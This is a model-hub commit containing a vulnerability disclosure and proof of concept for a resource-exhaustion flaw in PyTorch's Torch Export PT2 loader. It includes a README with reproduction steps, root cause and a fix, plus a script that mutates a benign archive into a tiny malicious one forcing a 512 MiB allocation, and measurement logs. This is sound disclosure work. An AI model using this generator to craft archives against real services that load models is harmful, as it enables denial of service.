AgentRen commited on
Commit
002ee7c
·
verified ·
1 Parent(s): 08adf88

Add Torch Export zero-payload allocation PoC

Browse files

Adds a minimal PT2 control, malicious zero-payload archive, measurement script, and local measurement report.

README.md ADDED
@@ -0,0 +1,115 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ library_name: pytorch
3
+ tags:
4
+ - security
5
+ - model-format-vulnerability
6
+ - torch-export
7
+ - pt2
8
+ - denial-of-service
9
+ ---
10
+
11
+ # Torch Export zero-byte raw tensor allocation PoC
12
+
13
+ This repository contains a minimal proof of concept for a Torch Export `.pt2`
14
+ resource-exhaustion issue.
15
+
16
+ ## Summary
17
+
18
+ Torch Export PT2 archives store raw tensor payload metadata separately from the
19
+ archive record that contains the tensor bytes. When `torch.export.load()`
20
+ encounters an empty raw tensor record, PyTorch treats the empty bytes as a
21
+ special case and allocates a zero-filled tensor using the shape declared in
22
+ `model_weights_config.json`.
23
+
24
+ The included malicious archive is 5,558 bytes on disk and declares a float32
25
+ tensor with shape `[134217728]`. Loading it causes PyTorch to allocate a
26
+ 512 MiB zero tensor during normal `torch.export.load()`.
27
+
28
+ This PoC does not use pickle, AOTInductor native libraries, or model execution.
29
+ It exercises the raw tensor zero-byte fallback path.
30
+
31
+ ## Affected
32
+
33
+ - PyTorch Torch Export PT2 loader
34
+ - Source reviewed: `pytorch/pytorch` commit
35
+ `c7656354cff2e2c4f9aee5695d3e7f37e3006dd4`
36
+ - Runtime used for verification: `torch==2.12.1+cpu`
37
+
38
+ ## Reproduction
39
+
40
+ Install PyTorch with Torch Export support, then run:
41
+
42
+ ```bash
43
+ python -c 'import torch; obj=torch.export.load("control.pt2"); print(obj.state_dict["p"].shape)'
44
+ ```
45
+
46
+ Expected control result:
47
+
48
+ ```text
49
+ torch.Size([1])
50
+ ```
51
+
52
+ Now load the malicious PT2:
53
+
54
+ ```bash
55
+ python -c 'import torch; obj=torch.export.load("zero-payload-512m.pt2"); print(obj.state_dict["p"].shape)'
56
+ ```
57
+
58
+ Expected uncapped result:
59
+
60
+ ```text
61
+ torch.Size([134217728])
62
+ ```
63
+
64
+ That shape is a 512 MiB float32 tensor allocated from a 5,558-byte archive.
65
+
66
+ The included measurement script also demonstrates control/candidate separation
67
+ under address-space caps:
68
+
69
+ ```bash
70
+ python mutate_and_measure_pt2_zero_payload.py
71
+ ```
72
+
73
+ Observed locally:
74
+
75
+ - Control loads under 700 MiB, 900 MiB, and 1200 MiB address-space caps.
76
+ - Candidate fails under 700 MiB and 900 MiB with:
77
+
78
+ ```text
79
+ DefaultCPUAllocator: can't allocate memory: you tried to allocate 536870912 bytes
80
+ ```
81
+
82
+ - Candidate succeeds under 1200 MiB and returns shape `(134217728,)`.
83
+
84
+ ## Files
85
+
86
+ - `control.pt2` - benign control archive, SHA256
87
+ `cb79c7913524f08255f74214f37b8bce500ac80b4bf6f2d6f3979116c42287c1`
88
+ - `zero-payload-512m.pt2` - malicious 5,558-byte PT2 archive, SHA256
89
+ `7e4c2c3ab37ac28f6ad4e307b77ae75fd2d655b15f9cbeb6832ac02702e2b18a`
90
+ - `mutate_and_measure_pt2_zero_payload.py` - generator/measurement script,
91
+ SHA256 `d1c3887e4f7d612c428c1a66c2ecada91d9b7bdcf42d17cc383303818b6f0690`
92
+ - `zero_payload_measurements_latest.json` - local measurement report,
93
+ SHA256 `33ee2b71e6964773228a693aba4696679167a49a9f806df844ec69bafe8ed311`
94
+
95
+ ## Root Cause
96
+
97
+ In `torch/export/pt2_archive/_package.py`, the PT2 loader reads
98
+ `model_weights_config.json` and the referenced raw tensor record. For non-empty
99
+ records it validates byte alignment before mapping tensor storage. For empty
100
+ records, it logs that `torch.frombuffer()` cannot operate on empty bytes and
101
+ creates a zero tensor as a workaround:
102
+
103
+ ```text
104
+ torch.zeros(size, dtype=dtype, device=device)
105
+ ```
106
+
107
+ The `size` value comes from archive-controlled tensor metadata, so a tiny PT2
108
+ archive can force a large allocation during load.
109
+
110
+ ## Suggested Fix
111
+
112
+ Reject zero-byte raw tensor payloads unless the declared tensor has zero
113
+ elements. The loader should verify that the raw archive record size matches the
114
+ declared dtype/shape storage requirement before allocating, and should not
115
+ synthesize attacker-sized tensors from empty records during deserialization.
control.pt2 ADDED
Binary file (6.16 kB). View file
 
mutate_and_measure_pt2_zero_payload.py ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Mutate a PT2 archive to measure zero-byte tensor metadata allocation."""
3
+
4
+ from __future__ import annotations
5
+
6
+ import argparse
7
+ import json
8
+ import os
9
+ import resource
10
+ import subprocess
11
+ import sys
12
+ import tempfile
13
+ import zipfile
14
+ from pathlib import Path
15
+
16
+
17
+ def mutate(control: Path, candidate: Path, size_mib: int) -> None:
18
+ with zipfile.ZipFile(control, "r") as src, zipfile.ZipFile(
19
+ candidate, "w", compression=zipfile.ZIP_STORED
20
+ ) as dst:
21
+ for info in src.infolist():
22
+ data = src.read(info.filename)
23
+ if info.filename.endswith("data/weights/weight_0"):
24
+ data = b""
25
+ elif info.filename.endswith("data/weights/model_weights_config.json"):
26
+ cfg = json.loads(data.decode())
27
+ meta = cfg["config"]["p"]["tensor_meta"]
28
+ numel = (size_mib << 20) // 4
29
+ meta["sizes"] = [{"as_int": numel}]
30
+ meta["strides"] = [{"as_int": 1}]
31
+ meta["storage_offset"] = {"as_int": 0}
32
+ data = json.dumps(cfg).encode()
33
+ dst.writestr(info.filename, data)
34
+
35
+
36
+ def load_pt2(path: Path) -> None:
37
+ import torch
38
+
39
+ obj = torch.export.load(path)
40
+ ep = obj if hasattr(obj, "module") else obj.exported_programs["model"]
41
+ value = ep.state_dict["p"]
42
+ print({"shape": tuple(value.shape), "numel": value.numel()})
43
+
44
+
45
+ def child(path: Path, cap_mib: int | None) -> dict[str, object]:
46
+ code = (
47
+ "import resource, sys\n"
48
+ f"cap={cap_mib!r}\n"
49
+ "if cap:\n"
50
+ " resource.setrlimit(resource.RLIMIT_AS, (cap << 20, cap << 20))\n"
51
+ f"sys.path.insert(0, {str(Path(__file__).parent)!r})\n"
52
+ "import mutate_and_measure_pt2_zero_payload as m\n"
53
+ f"m.load_pt2({str(path)!r})\n"
54
+ )
55
+ proc = subprocess.run(
56
+ [sys.executable, "-c", code],
57
+ stdout=subprocess.PIPE,
58
+ stderr=subprocess.PIPE,
59
+ text=True,
60
+ check=False,
61
+ )
62
+ return {
63
+ "returncode": proc.returncode,
64
+ "stdout": proc.stdout.strip(),
65
+ "stderr_tail": proc.stderr[-2000:],
66
+ }
67
+
68
+
69
+ def main() -> int:
70
+ parser = argparse.ArgumentParser()
71
+ parser.add_argument("--control", type=Path, required=True)
72
+ parser.add_argument("--candidate", type=Path, required=True)
73
+ parser.add_argument("--size-mib", type=int, default=512)
74
+ parser.add_argument("--caps-mib", type=int, nargs="*", default=[700, 900, 1200])
75
+ parser.add_argument("--json-out", type=Path, required=True)
76
+ args = parser.parse_args()
77
+
78
+ mutate(args.control, args.candidate, args.size_mib)
79
+ cases: dict[str, object] = {}
80
+ for label, path in {"control": args.control, "candidate": args.candidate}.items():
81
+ reads: dict[str, object] = {}
82
+ for cap_mib in [None, *args.caps_mib]:
83
+ before = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss
84
+ result = child(path, cap_mib)
85
+ after = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss
86
+ result["children_maxrss_kb_after"] = after
87
+ result["children_maxrss_kb_delta_floor"] = max(0, after - before)
88
+ reads["uncapped" if cap_mib is None else f"as_{cap_mib}m"] = result
89
+ cases[label] = {
90
+ "path": str(path),
91
+ "file_bytes": path.stat().st_size,
92
+ "reads": reads,
93
+ }
94
+ output = {"candidate_declared_mib": args.size_mib, "cases": cases}
95
+ args.json_out.write_text(json.dumps(output, indent=2, sort_keys=True) + "\n")
96
+ print(json.dumps(output, indent=2, sort_keys=True))
97
+ return 0
98
+
99
+
100
+ if __name__ == "__main__":
101
+ raise SystemExit(main())
zero-payload-512m.pt2 ADDED
Binary file (5.56 kB). View file
 
zero_payload_measurements_latest.json ADDED
@@ -0,0 +1,73 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "candidate_declared_mib": 512,
3
+ "cases": {
4
+ "candidate": {
5
+ "file_bytes": 5558,
6
+ "path": "research/triage/audits/torch-export-2026-06-24/poc/zero-payload-512m.pt2",
7
+ "reads": {
8
+ "as_1200m": {
9
+ "children_maxrss_kb_after": 800792,
10
+ "children_maxrss_kb_delta_floor": 0,
11
+ "returncode": 0,
12
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\nW0624 10:16:19.048000 320285 torch/export/pt2_archive/_package.py:798] Cannot call torch.frombuffer() on empty bytes. Creating a tensor with zeros as workaround.\n",
13
+ "stdout": "{'shape': (134217728,), 'numel': 134217728}"
14
+ },
15
+ "as_700m": {
16
+ "children_maxrss_kb_after": 800792,
17
+ "children_maxrss_kb_delta_floor": 0,
18
+ "returncode": 1,
19
+ "stderr_tail": "3 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py\", line 829, in _build_file_map\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] tensor = _create_flat_tensor_from_bytes(tensor_bytes, payload_meta.tensor_meta)\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py\", line 802, in _create_flat_tensor_from_bytes\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] tensor = torch.zeros(size, dtype=dtype, device=device)\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nW0624 10:16:16.051000 320283 torch/export/__init__.py:348] RuntimeError: [enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 536870912 bytes. Error code 12 (Cannot allocate memory)\nTraceback (most recent call last):\n File \"<string>\", line 7, in <module>\n File \"/home/bradd/.openclaw/workspace/research/triage/audits/torch-export-2026-06-24/poc/mutate_and_measure_pt2_zero_payload.py\", line 39, in load_pt2\n obj = torch.export.load(path)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/__init__.py\", line 360, in load\n raise RuntimeError(\nRuntimeError: We ran into an error when deserializing the saved file. Please check the warnings above for possible errors. \n",
20
+ "stdout": ""
21
+ },
22
+ "as_900m": {
23
+ "children_maxrss_kb_after": 800792,
24
+ "children_maxrss_kb_delta_floor": 0,
25
+ "returncode": 1,
26
+ "stderr_tail": "4 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py\", line 829, in _build_file_map\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] tensor = _create_flat_tensor_from_bytes(tensor_bytes, payload_meta.tensor_meta)\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py\", line 802, in _create_flat_tensor_from_bytes\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] tensor = torch.zeros(size, dtype=dtype, device=device)\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nW0624 10:16:17.557000 320284 torch/export/__init__.py:348] RuntimeError: [enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 536870912 bytes. Error code 12 (Cannot allocate memory)\nTraceback (most recent call last):\n File \"<string>\", line 7, in <module>\n File \"/home/bradd/.openclaw/workspace/research/triage/audits/torch-export-2026-06-24/poc/mutate_and_measure_pt2_zero_payload.py\", line 39, in load_pt2\n obj = torch.export.load(path)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File \"/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/__init__.py\", line 360, in load\n raise RuntimeError(\nRuntimeError: We ran into an error when deserializing the saved file. Please check the warnings above for possible errors. \n",
27
+ "stdout": ""
28
+ },
29
+ "uncapped": {
30
+ "children_maxrss_kb_after": 800792,
31
+ "children_maxrss_kb_delta_floor": 523132,
32
+ "returncode": 0,
33
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\nW0624 10:16:14.401000 320271 torch/export/pt2_archive/_package.py:798] Cannot call torch.frombuffer() on empty bytes. Creating a tensor with zeros as workaround.\n",
34
+ "stdout": "{'shape': (134217728,), 'numel': 134217728}"
35
+ }
36
+ }
37
+ },
38
+ "control": {
39
+ "file_bytes": 6160,
40
+ "path": "research/triage/audits/torch-export-2026-06-24/poc/control.pt2",
41
+ "reads": {
42
+ "as_1200m": {
43
+ "children_maxrss_kb_after": 277660,
44
+ "children_maxrss_kb_delta_floor": 0,
45
+ "returncode": 0,
46
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\n/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py:793: UserWarning: The given buffer is not writable, and PyTorch does not support non-writable tensors. This means you can write to the underlying (supposedly non-writable) buffer using the tensor. You may want to copy the buffer to protect its data or make it writable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /pytorch/torch/csrc/utils/tensor_new.cpp:1576.)\n tensor = torch.frombuffer(\n",
47
+ "stdout": "{'shape': (1,), 'numel': 1}"
48
+ },
49
+ "as_700m": {
50
+ "children_maxrss_kb_after": 277648,
51
+ "children_maxrss_kb_delta_floor": 404,
52
+ "returncode": 0,
53
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\n/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py:793: UserWarning: The given buffer is not writable, and PyTorch does not support non-writable tensors. This means you can write to the underlying (supposedly non-writable) buffer using the tensor. You may want to copy the buffer to protect its data or make it writable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /pytorch/torch/csrc/utils/tensor_new.cpp:1576.)\n tensor = torch.frombuffer(\n",
54
+ "stdout": "{'shape': (1,), 'numel': 1}"
55
+ },
56
+ "as_900m": {
57
+ "children_maxrss_kb_after": 277660,
58
+ "children_maxrss_kb_delta_floor": 12,
59
+ "returncode": 0,
60
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\n/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py:793: UserWarning: The given buffer is not writable, and PyTorch does not support non-writable tensors. This means you can write to the underlying (supposedly non-writable) buffer using the tensor. You may want to copy the buffer to protect its data or make it writable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /pytorch/torch/csrc/utils/tensor_new.cpp:1576.)\n tensor = torch.frombuffer(\n",
61
+ "stdout": "{'shape': (1,), 'numel': 1}"
62
+ },
63
+ "uncapped": {
64
+ "children_maxrss_kb_after": 277244,
65
+ "children_maxrss_kb_delta_floor": 277244,
66
+ "returncode": 0,
67
+ "stderr_tail": "/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/_subclasses/functional_tensor.py:362: UserWarning: Failed to initialize NumPy: No module named 'numpy' (Triggered internally at /pytorch/torch/csrc/utils/tensor_numpy.cpp:84.)\n cpu = _conversion_method_template(device=torch.device(\"cpu\"))\n/home/bradd/.openclaw/workspace/research/triage/audits/pytorch-archive-tar-2026-06-23/.venv-torch/lib/python3.12/site-packages/torch/export/pt2_archive/_package.py:793: UserWarning: The given buffer is not writable, and PyTorch does not support non-writable tensors. This means you can write to the underlying (supposedly non-writable) buffer using the tensor. You may want to copy the buffer to protect its data or make it writable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /pytorch/torch/csrc/utils/tensor_new.cpp:1576.)\n tensor = torch.frombuffer(\n",
68
+ "stdout": "{'shape': (1,), 'numel': 1}"
69
+ }
70
+ }
71
+ }
72
+ }
73
+ }